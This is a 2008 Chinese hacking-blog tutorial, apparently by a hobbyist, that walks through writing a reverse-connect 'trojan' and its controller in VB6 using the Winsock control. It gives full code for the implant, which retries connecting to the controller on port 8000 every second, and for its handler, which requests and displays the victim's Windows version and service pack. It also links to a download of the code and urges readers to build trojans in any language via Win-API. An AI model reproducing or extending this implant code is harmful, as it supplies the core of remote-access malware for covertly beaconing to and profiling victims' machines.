http://hi.badu.com/zaroty 偶博

【VB】编写获取服务端系统信息的C/S型反弹木马

上一篇 / 下一篇  2008-08-31 13:57:09 / 天气: 大风 / 心情: 高兴 / 精华(3) / 置顶(3) / 个人分类:黑客技术

出处:Zaroty's Blog


前置知识:VB WinSocket


关键字VBWinSock木马

  前两天又去翻了翻黑客防线第六期,发现了上面的一篇文章《VC编写获取服务端系统信息的C/S型木马》,文章写得很不错,很适合像我这样的新手阅读。这篇文章的呢,就是用VB来实现这个效果。

  声明:小菜原创文章,不可避免有一些错误,恳请大家指正,希望老鸟不要笑话;转载请注明出处。

  关于本文中使用的winsock控件的一些信息,大家可以参考这篇文章:winsock 控件详解

本文涉及到的代码:http://www.mediafire.com/?ggukl9rylhu

  首先我们明确一下程序编写的思路(我们这里是用TCP的连接方式):

1)建立连接

2)信息传递

3)信息处理

下面我们来分别对这三个方面逐个进行分析:

  1)建立连接

我们这个程序要实现的连接方式是反弹连接,就是木马端主动连接到控制端。

第一步我们来制作木马端。

1,建立一个标准EXE工程,在左侧的工具箱中添加winsock控件(Microsoft Winsock Control 6.0),然后在窗体上添加一个Winsock控件,默认的名字为Winsock1。

2,设置一下Winsock1的属性

这里是以本地机器127.0.0.1作为控制端的IP来试验,连接端口为8000。
当然,你也可以在编写代码的时候来设定这些内容。
3,设置连接参数
既然是反弹连接型的木马,我们的木马端就要主动连接到控制端,我们可以添加一个timer控件来实现每秒连接一次的效果。下面添加timer控件,然后双击timer控件,写入如下代码:
Private Sub Timer1_Timer()
If Winsock1.State <> sckConnected Then
Winsock1.Close
Winsock1.Connect
End If
End Sub

这段代码的效果就是每秒检测一下连接状态,如果没有连接上的话就继续尝试连接。
当我们已经连接上的时候,就触发了Winsock1_Connect事件,我们在次将timer控件的enable属性设置为FALSE:
Private Sub Winsock1_Connect()
Timer1.Enabled = False
End Sub


到此,我们的木马端的连接设置已经完成了。

下面我们来制作控制端。

前两步和木马端的制作相差无几,

1,建立一个标准EXE工程,在左侧的工具箱中添加winsock控件(Microsoft Winsock Control 6.0),然后在窗体上添加一个Winsock控件,默认的名字为Winsock1。

2,设置一下Winsock1的属性


这里是接收木马端的连接,所以远程主机就不用填写了,只要把本地端口也设置成和木马段一样的8000即可。

3,设置连接参数

我们的控制端是监听本地端口,等待木马端的上线,我们所要做的就是监听本地8000端口,仅仅需要在窗体上创建一个按钮,然后在按钮中写下:

Private Sub cmdlisten_Click()
Winsock1.Listen
End Sub


当我们点击监听按钮的时候就开始监听本地端口,等待木马端上线。当木马端连接到控制端的时候就会触发控制端的ConnectionRequest事件,我们在控制端里写下如下代码来相应木马端的连接:

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept (requestID)
MsgBox "已连接", vbInformation, "服务端"
End Sub

到此,我们的木马端和控制端建立连接的这一方面就写完了,下面要做的就是处理信息传递方面的内容。

2)信息传递

信息的传递,我们可以用winsock控件的GetData和SendData方法来实现。
首先我们对控制端编写相应代码,我们可以对木马端发送"info"来得到木马端的系统信息。我们首先在控制端的窗体上添加一个按钮,然后双击按钮控件,写下如下代码:

Private Sub cmdgetinfo_Click()
Winsock1.SendData "info"
End Sub

当我们单击按钮的时候,就像木马端发送了"info"这个信息。
然后我们对木马端写下相应的代码来响应这个消息。当木马端接收到消息的时候会触发DataArrival事件,所以我们就写下代码:

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim sysinfo As OSVERSIONINFO
sysinfo.dwOSVersionInfoSize = Len(sysinfo)
GetVersionEx sysinfo
Dim str As String
Winsock1.GetData str
Select Case str
Case "info"
Winsock1.SendData sysinfo.dwMajorVersion
Winsock1.SendData sysinfo.dwMinorVersion
Winsock1.SendData sysinfo.szCSDVersion
End Select
End Sub


  当我们收到控制端的信息时,首先用Winsock1.GetData来得到消息,之后之后之后Select Case str来判断消息。如果得到的消息是"info",就将本地的操作系统信息发送出去。

Winsock1.SendData sysinfo.dwMajorVersion
Winsock1.SendData sysinfo.dwMinorVersion
Winsock1.SendData sysinfo.szCSDVersion

这里我获得操作系统信息所用的API函数是:
GetVersionEx,函数声明为:
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long
使用这个API函数之前要首先定义一个结构体:
Private Type OSVERSIONINFO
        dwOSVersionInfoSize As Long
        dwMajorVersion As Long
        dwMinorVersion As Long
        dwBuildNumber As Long
        dwPlatformId As Long
        szCSDVersion As String * 128      ' Maintenance string for PSS usage
End Type

----------------------------
关于这个函数的具体使用大家可以参看MSDN:
http://msdn.microsoft.com/en-us/library/ms724451(VS.85).aspx
关于这个结构体:
http://msdn.microsoft.com/en-us/library/ms724834(VS.85).aspx
----------------------------

到此,我们的木马端已经将系统信息发送了出去,控制端只需要一个Winsock1.GetData就可以接收到了信息,下面所要做的就是控制端对信息的处理:

3)信息处理

我们得到的是
dwMajorVersion
dwMinorVersion
szCSDVersion


这三个参数,下面是对这三个参数的详解:
dwMajorVersion

The major version number of the operating system. This member can be one of the following values.

ValueMeaning

5

The operating system is Windows Server 2003 R2, Windows Server 2003, Windows XP, or Windows 2000.

6

The operating system is Windows Server 2008 or Windows Vista.

dwMinorVersion

The minor version number of the operating system. This member can be one of the following values.

ValueMeaning

0

The operating system is Windows Server 2008, Windows Vista, or Windows 2000.

1

The operating system is Windows XP.

2

The operating system is Windows Server 2003 R2, Windows Server 2003, or Windows XP Professional x64 Edition.

szCSDVersion

A null-terminated string, such as "Service Pack 3", that indicates the latest Service Pack installed on the system. If no Service Pack has been installed, the string is empty.

根据这些内容,我们写下对这些信息的处理代码:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim major As Long
Dim minor As Long
Dim version As String
Winsock1.GetData major
Winsock1.GetData minor
Winsock1.GetData version
Select Case major
Case 5
    Select Case minor
    Case 0
    Label1.Caption = "Windows 2000"
    Case 1
    Label1.Caption = "Windows XP"
    Case 2
    Label1.Caption = "Windows Server 2003 R2, Windows Server 2003, or Windows XP Professional x64 Edition"
    End Select
Case 6
    Label1.Caption = "Windows Server 2008 or Windows Vista"
End Select
Label2.Caption = version
End Sub


这段代码实现了将木马端的系统信息分析出来并将其先是在控制端的label控件上。到此,我们的简单的获取服务端系统信息的C/S型反弹木马就基本编写完毕。

生成EXE文件,首先打开木马端,则木马端即开始监听。然后打开控制端,单击监听按钮,等待弹出对话框,代表连接成功:



然后单击控制端的系统信息按钮,即可在下面的label控件上显示相应的内容。

至此,我们的简单的反弹连接的小程序算是写完了,文中所涉及的代码可以到这里下载:

http://www.mediafire.com/?ggukl9rylhu

文章写得比较烂,希望大家能够清晰的理解,同时也希望大家多多指点,在此小菜先谢谢大家了。

结束语:本文所写的内容用到了VB中的Winsock控件,这样程序在运行的时候会调用到MSWINSCK.OCX,所以在运行的时候要确保目标机器上有MSWINSCK.OCX或者已经安装了VB6.0。

很多人说VB不能用来做木马,因为做出来的程序总是需要有相应的控件才能正常运行,其实也不然,如果WIN-API过硬的话,不管用哪一种语言,都是可以写木马的。比如本文中用到的Winsock控件,完全可以用WIN-API来实现,大家可以试一下哦。

TAG:

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

Open Toolbar